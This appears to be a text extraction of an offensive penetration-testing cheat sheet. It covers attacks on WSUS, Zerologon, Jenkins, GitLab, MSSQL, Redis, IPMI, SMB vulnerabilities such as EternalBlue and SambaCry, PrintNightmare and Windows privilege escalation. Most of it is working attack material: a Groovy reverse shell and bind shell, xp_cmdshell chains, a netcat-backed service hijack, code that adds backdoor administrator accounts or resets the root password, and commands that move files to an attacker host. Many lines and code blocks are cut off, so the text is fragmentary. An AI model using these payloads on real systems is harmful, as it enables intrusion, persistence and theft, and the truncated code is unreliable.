https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/
https://www.thehacker.recipes/systems-and-services/privilege-escalation/windows/wsus-attacks
Check:
HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
WUServer REG_SZ http://wsus.megacorp.local:8530
HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
UseWUServer REG_DWORD 0x1
Exploit:
wsus.cap
# Quick recon of the network
net.probe on
https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-
privilege-escalation-1-day/
https://www.gosecure.net/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-
services-wsus-to-enable-ntlm-relaying-attacks/
Tools
SharpWSUS
https://labs.nettitude.com/blog/introducing-sharpwsus/
https://github.com/nettitude/SharpWSUS
Zerologon
CVE-2020-1472
Check:
https://github.com/SecuraBV/CVE-2020-1472
Exploit:
https://github.com/dirkjanm/CVE-2020-1472
https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472
Exploits above will break the domain! Use this technique by @dirkjanm to abuse Zerologon safely:
https://dirkjanm.io/a-different-way-of-abusing-zerologon/
$ sudo ntlmrelayx.py -t dcsync://DC01.megacorp.local -smb2support
$ python dementor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' 10.10.13.37 DC02.megacorp
RODC Notes
Checking that a DC is a RODC (see if WRITABLE flag is present):
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-
c0ecb06e2db9
https://lists.samba.org/archive/samba-technical/2016-November/117016.html
https://github.com/gentilkiwi/mimikatz/blob/fe4e98405589e96ed6de5e05ce3c872f8108c0a0/mimikatz/m
odules/kuhl_m_lsadump.c#L2467
https://social.technet.microsoft.com/Forums/Lync/en-US/3f29f03e-9d9b-43ba-b628-3f0afc25352e/user-
amp-computer-authentication-through-rodc?forum=winserverDS
"When a user authenticates to an RODC a check is performed to see if the password is cached. If the
password is cached, the RODC will authenticate the user account locally. If the user’s password is not
cached, then the RODC forwards the authentication request to a writable Domain Controller which in turn
authenticates the account and passes the authenticated request back to the RODC. Once the user
account is authenticated, the RODC makes another request for the replication of the user’s password in a
unidirectional replication providing the account has been configured to allow replication. In order to allow
the user password to be cached on RODC, you could set up it by configuring the Password Replication
Policy."
So when authenticating at a RODC and Password Replication Policy rejects caching the machine
password, then STATUS_NO_TRUST_SAM_ACCOUNT may be met.
DevOps
Ansible
Enumeration
When on ansible controller:
$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version
Execute Code
Using ad-hoc commands:
evil.yml
# ansible-playbook evil.yml
$ cat vault.in
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000
Artifactory
https://keramas.github.io/2020/04/03/jfrog-ssrf-vulnerability.html
https://jfrog.com/knowledge-base/how-to-change-the-default-password-for-access-admin-user/
https://github.com/ffuf/ffuf-scripts
Enumeration
Spot running processes:
Files location:
$ find /opt/jfrog/artifactory/var/data/artifactory/filestore
Backup location:
$ find /opt/jfrog/artifactory/var/backup/access
Compromise Database
$ mkdir /tmp/dbcopy
$ sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/dbcopy
$ sudo chmod 755 /tmp/dbcopy/derby
$ sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3
ij> connect 'jdbc:derby:/tmp/dbcopy/derby';
ij> select * from access_users;
Containerization
https://github.com/cherkavi/cheat-sheet/blob/master/openshift.md
Grant a low-priv user admin's privileges across the cluster via REST API:
GitLab
https://devcraft.io/assets/hacktivitycon-slides.pdf
https://github.com/dotPY-hax/gitlab_RCE
https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
https://www.exploit-db.com/exploits/49334
Also possible to use this payload (instead of IPv6) to bypass filter checks for localhost, but works only with
git:// scheme:
git://127.0.0.1:6379/%0a<REDIS_COMMANDS>
https://xakep.ru/2020/05/26/gitlab-exploit/
https://www.exploit-db.com/exploits/49076
https://gitlab.com/gitlab-org/gitlab/-/issues/36029
gitlab-rails
Add new admin user from console:
Jenkis
https://blog.pentesteracademy.com/abusing-jenkins-groovy-script-console-to-get-shell-98b951fa64a6
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
https://github.com/gquere/pwn_jenkins
"Manage Jenkis" > "Script Console" > Run.
Execute command:
exec groovy
exec.groovy
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'whoami'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Reverse shell:
reverse.groovy
String host = "<LHOST>";
int port = <LPORT>;
String cmd = "/bin/bash"; // or "cmd.exe" for Windows
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
Bind shell:
bind.groovy
int port = <LPORT>;
String cmd="/bin/bash"; // or "cmd.exe" for Windows
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
};
p.destroy();
s.close();
DBMS
Database Management System
Tools
DBeaver
DBeaver Community
DbVisualizer
DbVisualizer
FireBird
https://www.infosecmatter.com/firebird-database-exploitation/
MS SQL
Create a new login, map it to the db_owner user and assign the sysadmin role:
Enable xp_cmdshell :
Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa ):
SELECT SYSTEM_USER;
SELECT USER;
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
List databases:
SELECT name FROM master..sysdatabases;
EXEC sp_linkedservers;
https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
Crawl Links
https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
https://blog.netspi.com/wp-content/uploads/2017/05/Technical-Article-Hacking-SQL-Server-Database-
Links-Setup-and-Attack-Guide.pdf
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://xakep.ru/2020/01/24/lateral-movement/#toc01.
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 ->
SQLSRV01 -> SQLSRV02:
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmds
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configu
SqlCrawlLinks.cs
using System;
using System.Data.SqlClient;
namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONF
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'')
con.Close();
}
}
External Scripts
https://docs.microsoft.com/en-us/sql/machine-learning/tutorials/quickstart-python-create-script?view=sql-
server-ver15
https://www.sqlshack.com/how-to-use-python-in-sql-server-2017-to-obtain-advanced-data-analytics/
Enable external scripts:
EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\web.config'', ''r'') as f:
print(f.read())
'
master.mdf
https://xpnsec.tumblr.com/post/145350063196/reading-mdf-hashes-with-powershell
https://github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes
https://www.nucleustechnologies.com/blog/mdf-file-location-in-sql-server-2014-2016-2017/
https://github.com/BC-
SECURITY/Empire/blob/master/empire/server/data/module_source/collection/Invoke-NinjaCopy.ps1
https://github.com/jschicht/RawCopy
C# Examples
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/MSSQL/Program.cs
MSSQL.cs
using System;
using System.Data.SqlClient;
namespace MSSQL
{
class
{ Program
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Secur
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated user: {result}");
con.Close();
}
}
}
Custom Assemblies
SqlCustomAssembly.cs
using System;
using System.Data.SqlClient;
namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
SqlCmdExec.cs
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
Convert-AssemblyToHex.ps1
$assemblyFile = "SqlCmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt
Tools
https://www.heidisql.com/download.php
sqsh
mssqlclient.py
mssql_shell.py
https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py
$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD pwn.exe \Windows\System32\spool\drivers
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAE
mssql-cli
https://github.com/dbcli/mssql-cli
PowerUpSQL
https://github.com/NetSPI/PowerUpSQL
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQ
PS
PS >
> Get-SQLInstanceDomain
Get-SQLQuery -Instance|"SQLSRV01.megacorp.local,1433"
Get-SQLConnectionTestThreaded -Threads 10 -Username
-Query "select sa -Password
@@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Com
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose
DAFT
https://github.com/NetSPI/DAFT
ESC
https://github.com/NetSPI/ESC
MySQL / MariaDB
Basic enumeration:
UDF PrivEsc
https://www.exploit-db.com/exploits/1518
https://github.com/mysqludf/lib_mysqludf_sys
https://gist.github.com/snovvcrash/efeb79d3e2648ec5009dd2ea7052f8b9
Install dependencies:
Oracle
https://xakep.ru/2015/04/07/195-oracle-db/
https://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-
SLIDES.pdf
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
http://www.red-database-security.com/wp/oracle_cheat.pdf
TNS Poison
http://www.joxeankoret.com/download/tnspoison.pdf
Tools
odat
https://github.com/quentinhardy/odat/releases
https://github.com/quentinhardy/odat#mind-map---odat--oracle-database-pentests
https://github.com/quentinhardy/odat#installation-optional-for-development-version
Redis
https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html
2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
https://github.com/holys/redis-cli/releases
https://github.com/antirez/redis
/var/www/html
/home/redis/.ssh
/var/lib/redis/.ssh
/var/spool/cron/crontabs
/var/spool/cron
$ for dname in `cat dirs.txt`; do redis-cli -h 127.0.0.1 config set dir $dname | grep OK && ec
Web Shell
https://book.hacktricks.xyz/pentesting/6379-pentesting-redis
https://github.com/Avinash-acid/Redis-Server-Exploit
https://xakep.ru/2010/11/03/53551/
SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%';
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%
SELECT username,password FROM secret_database;
Hydra
Patator
crowbar
https://github.com/galkan/crowbar
RDP
File Transfer
https://blog.ropnop.com/transferring-files-from-kali-to-windows/
https://github.com/evilmog/evilmog/wiki/DNS-Download-Cradle
Base64
String to base64 and POST with PowerShell:
Hex
Compress a binary file and transfer it to Windows by copy-pasting commands into the console:
$ upx -9 file.exe
$ exe2hex -x file.exe -p file.cmd
$ cat file.cmd | xclip -i -sel c
PowerShell
PowerShell upload file:
PS > (New-Object Net.WebClient).UploadFile("http://10.10.13.37/file.txt", "file.txt")
PowerShell auto detect proxy, download file from remote HTTP server and run it:
PowerShell manually set proxy and upload file to remote HTTP server:
/dev/tcp
Attacker is the sender:
# Sender:
root@kali:~$ tar -zcvf folder.tar.gz folder
root@kali:~$ nc -w3 -lvnp 1234 < folder.tar.gz
# Recipient:
www-data@victim:~$ bash -c 'cat < /dev/tcp/127.0.0.1/1234 > .folder.tar.gz'
www-data@victim:~$ tar -zxvf .folder.tar.gz
# Recipient:
root@kali:~$ nc -w3 -lvnp 1234 > file.txt
# Sender:
www-data@victim:~$ bash -c 'cat < file.txt > /dev/tcp/127.0.0.1/1234'
SMB
smbserver.py
net share
FTP
IPMI
Intelligent Platform Management Interface
https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/
https://habr.com/ru/company/selectel/blog/439834/
Discovery
Dump Hashes
CVE-2013-4786
Dump hashes:
Guess existing admin username. If ADMIN username is correct, the list command will succeed
(password doesn't matter):
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user set name <ID> snovvcras
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user set password <ID> 'Pass
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user priv <ID> 4
$ ipmitool -I lanplus -C 0 -H 127.0.0.1 -U ADMIN -P DummyPassw0rd user enable <ID>
Anonymous Authentication
Can be discovered with MSF ipmi_dumphashes but also with ipmitool:
$ ipmitool -I lanplus -H 127.0.0.1 -U '' -P '' user set password <ID> 'Passw0rd!'
HPE iLO 4
https://codeby.net/threads/poluchaem-dostup-k-hp-ilo.63224/
https://github.com/airbus-seclab/ilo4_toolbox
CVE-2017-12542
https://www.exploit-db.com/exploits/44005
Kiosk Breakout
http://www.ikat.kronicd.net/
Windows
https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-
environments/
https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/
https://habr.com/ru/company/dsec/blog/505600/
ENV Location
%COMSPEC% "C:\Windows\System32\cmd.exe"
%COMMONPROGRAMFILES% "C:\Program Files\Common Files"
%HOMEPATH% , %USERPROFILE% "C:\Documents and Settings\Username"
Command Location
shell:System "C:\Windows\System32"
Linux
gtkdialog
HTLM-based pseudo terminal emulator (useful when there's no other terminal apps available):
shell.html
<window>
<vbox>
<vbox scrollable="true" width="500" height="400">
<edit>
<variable>CMDOUTPUT</variable>
<input file>/tmp/termout.txt</input>
</edit>
</vbox>
<hbox>
<text><label>Command:</label></text>
<entry><variable>CMDTORUN</variable></entry>
<button>
<label>Run</label>
<action>$CMDTORUN > /tmp/termout.txt 2>&1</action>
<action>refresh:CMDOUTPUT</action>
</button>
</hbox>
</vbox>
</window>
Low-Hanging Fruits
net_api
CVE-2008-4250, MS08-067
Check:
Exploit:
EternalBlue
CVE-2017-0144, MS17-010
MSF
Check:
Manually
https://github.com/helviojunior/MS17-010
https://0xdf.gitlab.io/2019/02/21/htb-legacy.html#ms-17-010
Or just execute commands on host via zzz_exploit.py (at least one named pipe must be accessible on
target):
$ python zzz_exploit.py
zzz_exploit.py
...
def smb_pwn(conn, arch):
service_exec(conn, r'cmd /c net user snovvcrash Passw0rd! /add')
service_exec(conn, r'cmd /c net localgroup administrators snovvcrash /add')
service_exec(conn, r'cmd /c netsh firewall set opmode disable')
...
FuzzBunch (Wine)
https://github.com/fuzzbunch/fuzzbunch
https://0x00sec.org/t/porting-the-leaked-equation-group-eqgrp-fuzzbunch-tool-to-linux/1956
https://habr.com/ru/post/327490/
SambaCry
MSF
Manually
https://github.com/opsxcq/exploit-CVE-2017-7494
https://github.com/joxeankoret/CVE-2017-7494
pwn.c
// gcc -shared -fPIC -o pwn.so pwn.c
#include <stdio.h>
#include <stdlib.h>
void pwn() {
setresuid(0,0,0);
system("echo 'root:Passw0rd!'|chpasswd");
}
BlueKeep
CVE-2019-0708
Check:
Exploit:
PrintNightmare
CVE-2021-16751, CVE-2021-34527
https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html
https://pentestlab.blog/2021/08/17/domain-escalation-printnightmare/
Check
CrackMapExec
https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/modules/spooler.py
ItWasAllADream
https://github.com/byt3bl33d3r/ItWasAllADream
Exploit
C/C++
https://github.com/afwu/PrintNightmare
LPE:
https://github.com/hlldz/CVE-2021-1675-LPE
Python
RCE:
https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py
https://github.com/cube0x0/CVE-2021-1675/blob/main/SharpPrintNightmare/CVE-2021-1675.py
https://www.hackthebox.eu/blog/windows-protocols-python
Usage
1. Prepare an SMB share with anonymous authentication allowed ( smbserver.py also works):
2. Generate an evil DLL: a С2 stager / add user to a privileged group (1, 2, 3, etc.) / invoke a custom
command (see example below).
3. Run the exploit:
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
C#
RCE + LPE:
https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare
PowerShell
LPE:
https://github.com/calebstewart/CVE-2021-1675
Reproducibility
Flowchart by @wdormann:
Mitigation
https://github.com/LaresLLC/CVE-2021-1675
LPE
Local Privilege Escalation
Windows
Local Enumeration
https://www.infosecmatter.com/powershell-commands-for-pentesters/
System Info
PS > Get-ComputerInfo
Cmd > systeminfo
PS > [Environment]::Is64BitOperatingSystem
Cmd > (WMIC OS Get OSArchitecture)[2]
https://adamtheautomator.com/netstat-port/
PS > Get-Process
PS > [Environment]::Is64BitProcess
Cmd > tasklist /SVC
Cmd > net start
Cmd > ipconfig /all
Cmd > netstat -ano | findstr /i list
PS > Get-NetTCPConnection -State Listen
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
Cmd > route print [-4]
Cmd > reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP
PS > Get-LocalGroup
PS > Get-LocalGroupMember Administrators
PS > [wmi] "Win32_userAccount.Domain='$env:computername',Name='Administrator'"
AccessChk
https://www.fuzzysecurity.com/tutorials/16.html
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
https://xor.cat/2017/09/05/sysinternals-accesschk-accepteula/
https://sohvaxus.github.io/content/winxp-sp1-privesc.html
PayloadsAllTheThings/Example with Windows XP SP0/SP1 - upnphost
https://www.exploit-db.com/exploits/1465
http://www.tarasco.org/security/srvcheck/index.html
PS > cmd /c sc config VulnerableSvc binPath= "pwn.exe" obj= LocalSystem start= demand
PS > cmd /c sc qc VulnerableSvc
PS > cmd /c sc start VulnerableSvc
https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths
It gives an attacker the ability to inject malicious binary into path to be executed with vulnerable service
permissions if she has enough privileges to write into one of these directories:
Query VulnerableSvc :
SERVICE_NAME: VulnerableSvc
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Vulnerable Service\Vuln Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Exploit VulnerableSvc :
pwn.c
// i686-w64-mingw32-gcc -o pwn.exe pwn.c
#include <stdio.h>
#include <stdlib.h>
void main() {
system("net user snovvcrash Passw0rd! /add");
system("net localgroup administrators snovvcrash /add");
}
https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/
Check:
Exploit:
wuauserv
https://github.com/apt69/COMahawk/releases
RpcEptMapper
CVE-2021-27091
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
https://itm4n.github.io/windows-registry-rpceptmapper-exploit/
https://github.com/itm4n/Perfusion
Windows 7
Windows Server 2008 R2
Windows 8
Windows Server 2012
HiveNightmare
CVE-2021–36934
https://github.com/GossiTheDog/HiveNightmare
https://github.com/HuskyHacks/ShadowSteal
https://github.com/FireFart/hivenightmare/blob/main/release/hive.exe
https://github.com/cube0x0/CVE-2021-36934
PowerShell one-liner:
.NET Sandboxes
When an attacker can compile arbitrary code in privileged context but a Sandbox is in game (like in uMod)
the following approaches can be leveraged to gain admin privs:
Registry keys manipulation.
Deserialization attacks.
using Microsoft.Win32;
...
using (var hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
using (var key = hklm.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
key.SetValue("AlwaysInstallElevated", 0x1, RegistryValueKind.DWord);
}
using Microsoft.Win32;
...
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\services\wuauser
if (key != null)
{
key.SetValue("ImagePath", "c:\windows\system32\spool\drivers\color\nc.exe -e powershell.exe
key.Close();
}
...
using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
...
byte[] payload = Convert.FromBase64String("<BASE64_PAYLOAD>");
//string payload_decoded = Encoding.UTF8.GetString(payload);
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = formatter.Deserialize(stream);
...
Tools
Windows-Exploit-Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
PowerUp
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf
https://recipeforroot.com/advanced-powerup-ps1-usage/
PS > Invoke-PrivescAudit
JAWS
https://github.com/411Hall/JAWS/blob/master/jaws-enum.ps1
winPEAS
https://github.com/carlospolop/privilege-escalation-awesome-scripts-
suite/tree/master/winPEAS/winPEASexe
PrivescCheck
https://github.com/itm4n/PrivescCheck
https://github.com/GhostPack/Seatbelt
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-
Seatbelt.ps1
Linux
